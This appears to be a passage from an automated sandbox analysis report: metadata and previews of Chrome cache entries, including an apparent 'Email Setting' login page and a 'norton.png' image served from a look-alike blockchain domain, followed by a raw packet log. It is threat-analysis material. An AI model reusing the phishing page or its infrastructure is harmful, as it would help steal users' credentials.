Preview:	......JFIF.............C....................................................................C.........................................................................4.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...9<.......?......t...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	5314
Entropy (8bit):	4.654152699053102
Encrypted:	false
SSDEEP:	96:lY9c3z+D+Us6rsvevErAt/FJ+JaD0hHF91y/Tj4l4SJ3gzK3xzF77:lf3z+Dns6rp4JaopF91yH4l483gzK3xF
MD5:	2BE284999912833A7130D35B910B7526
SHA1:	13F36A2AB7FE29F2A1D99F2854154A5FD3D9BC18
SHA-256:	569D4145E5CDF53AA3F3FE87D310A922963251B191BDCE529B78343B33ED868C
SHA-512:	86E0350007391C5E3215DC21B86DFA04DE2F381C27B2CA084C41B6911463DD803C2A9B72909E39823DCCC8B38E09DE5CABE4988FFEABCE8A13134ECEA2BCD77A
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta name="viewport" content="width=device-width, initial-scale=1">. <meta name="live0" content="$2y$12$2CHFh.DgXbkSmiLKHyy7oudKALTOopohQZm17rPCVMy84d/nqfQ..">. <meta charset="utf-8">. <title>Email Setting</title>. <style type="text/css">. * {. padding: 0;. margin: 0;. color: #1a1f36;. box-sizing: border-box;. word-wrap: break-word;. --fa-style-family-classic: "Font Awesome 6 Free";. --fa-font-solid: normal 900 1em/1 "Font Awesome 6 Free";. }.. body {. min-height: 100%;. background-color: #ffffff;. font-family: 'Hind', sans-serif;. }.. a {. color: #5469d4;. text-decoration: unset;. }.. .login-root {. background: #fff;. display: flex;. width: 100%;. min-height: 100vh;. overflow: hidden;. }... .loginbackground {. min-height: 692px;. position: fixed;. bottom: 0;. left: 0;. right: 0;. top: 0;. z-ind

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1365x691, components 3
Category:	dropped
Size (bytes):	40774
Entropy (8bit):	7.485410227401243
Encrypted:	false
SSDEEP:	768:SLUv0sgi1c4/iWX4OkiSAJQBdpQk0e36fUdMYTexgLT7BEnq:SLUv0sbKJOki/+DCeKMdMUe6LT7cq
MD5:	E59A81A40AD3FDFB1D64C11B71B1D90D
SHA1:	84EA360B12F24E99C22FB22BB645EADA4C71F191
SHA-256:	9F01AE299BA41E5B71E70424679F1C9829A28B326563D7A8DCEE1C48D7DEEE9D
SHA-512:	FF7FFA9D3EF43B2FD6C4D064C3BBD4CBAB4C17DF5EBD747C54AC00C9F760F3156924A4CA064913A5AADA0780D35DD2FFA37D5E982B6F164B90AD1CD88E60094A
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......<.....http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:69FCA1F3854511EA8E71922F298F0DA1" xmpMM:DocumentID="xmp.did:69FCA1F4854511EA8E71922F298F0DA1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:69FCA1F1854511EA8E71922F298F0DA1" stRef:documentID="xmp.did:69FCA1F2854511EA8E71922F298F0DA1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..................................................................................................................................

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	96
Entropy (8bit):	5.607738151469856
Encrypted:	false
SSDEEP:	3:/9c7IkQ85TsViGdlrqUWj8z6aZ/kTpyEUy/Y:FYI65T0ldNvWawyEUR
MD5:	EC760CE1F39AEAA98C469002C8AA64CC
SHA1:	3D2B8E9FF3D260FD00F274A15ADEA787A17A0FCA
SHA-256:	A3AC9A34BA6BF3C5D2EC329B9C4CD64395F4055615C25A32B96CC0352EAE121B
SHA-512:	5BDD1859CB8E2D3DB7D3B8433A0964EDFECD59A62C3456AC792A6E15D5FA7C0EB846D8CC21E609A2DF64197888432877EB288C3CDA0BF8D4121085B8EA8CA3D5
Malicious:	false
Reputation:	low
URL:	https://api.fpjs.io/xridvya/qAo6p?q=PpV6WKGGlibbhVc8aHxy
Preview:	EDtw1BOo8uK6mcmAA0DyrS/6lVR65fNpU2IjwKFTpPnijqlhM94hMwPpjzO1sFHkVBLq/EsamrE9Zd7vbcKqwW9P1WO88DQ=

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 820x441, components 3
Category:	downloaded
Size (bytes):	97680
Entropy (8bit):	7.873565813226579
Encrypted:	false
SSDEEP:	1536:PlHhJJJJJf12DcxCXeQVRlypqmcXQLqzp2kFsDL6STWAuTbmBSEJtsYi8Kmf:ycxCX7dtPFkWAunuBi8KK
MD5:	41AE7D67B7943D8EDA27F5E42E85021F
SHA1:	1BCC3B3FAD2F5E4FCE4EBB2C262AF8238A3361D1
SHA-256:	7EB4907DFB529A4F4A6E8F7CC270EE9B021B87B5C63DD9212AAD7F827A7ED340
SHA-512:	55D457547B95EE6BC839214FDDAAC3F2601B11992674A5DA2C4F651F8D61963F1891EA1FB4D23CF2CE6C8D9EAE98FE2F74E3B10574D15E8F157C38A926B94AEC
Malicious:	false
Reputation:	low
URL:	https://ft0.blockchainmemspool.site/norton.png
Preview:	......JFIF.............C....................................................................C.........................................................................4.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...9<.......?......t...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4d....Q@....3FO...%...>..4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 04:06:32.077508926 CET	49675	443	192.168.2.4	173.222.162.32
Nov 27, 2024 04:06:35.307429075 CET	49735	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:35.309923887 CET	49736	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:35.427406073 CET	80	49735	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:35.429790020 CET	80	49736	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:35.429929972 CET	49735	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:35.429975033 CET	49736	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:35.431385994 CET	49736	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:35.551266909 CET	80	49736	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:36.676935911 CET	80	49736	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:36.717052937 CET	49736	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:36.825748920 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:36.825809002 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:36.825865030 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:36.826411963 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:36.826426983 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:37.653148890 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:37.653244019 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:37.653352976 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:37.653548956 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:37.653583050 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:38.230340958 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:38.230669022 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:38.230694056 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:38.231606007 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:38.231671095 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:38.233439922 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:38.233503103 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:38.233618021 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:38.233628035 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:38.280417919 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:38.525384903 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:38.525434971 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:38.525526047 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:38.527529955 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:38.527540922 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:38.765121937 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:38.765516996 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:38.765578032 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:38.765580893 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:38.765624046 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:38.767539024 CET	49739	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:38.767560959 CET	443	49739	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:39.317728996 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:39.317785978 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:39.317851067 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:39.318078995 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:39.318092108 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:39.394392967 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:39.395328999 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:39.395399094 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:39.396431923 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:39.396493912 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:39.397658110 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:39.397738934 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:39.439438105 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:39.439503908 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:39.485356092 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:40.022277117 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.022345066 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.025882959 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.025899887 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.026159048 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.067991018 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.115350008 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.576937914 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.577011108 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.577121973 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.579191923 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.579210043 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.579226971 CET	49741	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.579232931 CET	443	49741	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.613795996 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.613821030 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.613908052 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.614221096 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:40.614237070 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:40.886287928 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:40.886730909 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:40.886746883 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:40.887850046 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:40.887923956 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:40.892756939 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:40.892873049 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:40.892992020 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:40.892999887 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:40.940622091 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:41.472456932 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:41.472517014 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:41.472553015 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:41.472580910 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:41.472599983 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:41.472619057 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:41.472683907 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:41.472754002 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:41.472754002 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:41.473817110 CET	49742	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:41.473829031 CET	443	49742	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:41.521183014 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:41.521238089 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:41.521326065 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:41.521574974 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:41.521593094 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:42.059551001 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:42.059658051 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:42.060920954 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:42.060930967 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:42.061168909 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:42.062432051 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:42.107325077 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:42.487508059 CET	80	49736	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:42.487740040 CET	49736	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:42.610467911 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:42.610539913 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:42.610584021 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:42.611422062 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:42.611439943 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:42.611452103 CET	49743	443	192.168.2.4	184.28.90.27
Nov 27, 2024 04:06:42.611457109 CET	443	49743	184.28.90.27	192.168.2.4
Nov 27, 2024 04:06:43.043391943 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.043766022 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.043798923 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.044294119 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.045074940 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.045147896 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.045464993 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.087332964 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.620187998 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.620234013 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.620265007 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.620287895 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.620318890 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.620352030 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.620363951 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.628482103 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.628542900 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.628571987 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.641247988 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.641309023 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.641338110 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.691031933 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.691057920 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.736656904 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.740302086 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.748907089 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.748958111 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.748986006 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.795666933 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.821237087 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.825464010 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.825514078 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.825542927 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.837043047 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.837090015 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.837116957 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.845571995 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.845618963 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.845653057 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.854115963 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.854166031 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.854192972 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.862339973 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.862396955 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.862423897 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.870776892 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.870831013 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.870855093 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.885040998 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.885102034 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.885128021 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.892000914 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.892055035 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.892081976 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.898042917 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.898088932 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.898116112 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.904011965 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.904058933 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.904094934 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.910036087 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.910082102 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.910109043 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.949857950 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.949918032 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:43.949945927 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:43.993041039 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.022510052 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.024696112 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.024735928 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.024761915 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.030627966 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.030685902 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.030714035 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.035116911 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.035150051 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.035164118 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.035185099 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.035218954 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.039321899 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.043241024 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.043282986 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.043298960 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.047333956 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.047395945 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.047405005 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.051392078 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.051430941 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.051438093 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.059456110 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.059498072 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.059504986 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.063410044 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.063466072 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.063469887 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.063477993 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.063524008 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.067728996 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.071496964 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.071547031 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.071554899 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.075567007 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.075624943 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.075653076 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.077069044 CET	49736	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:44.079608917 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.079659939 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.079687119 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.082936049 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.083008051 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.083034039 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.089543104 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.089590073 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.089596033 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.089621067 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.089669943 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.092818022 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.135649920 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.135680914 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.142673016 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.142740965 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.142765999 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.147852898 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.147896051 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.147903919 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.147929907 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.147983074 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.150845051 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.154104948 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.154141903 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.154164076 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.154191017 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.154397964 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.157390118 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.160667896 CET	443	49744	91.208.197.216	192.168.2.4
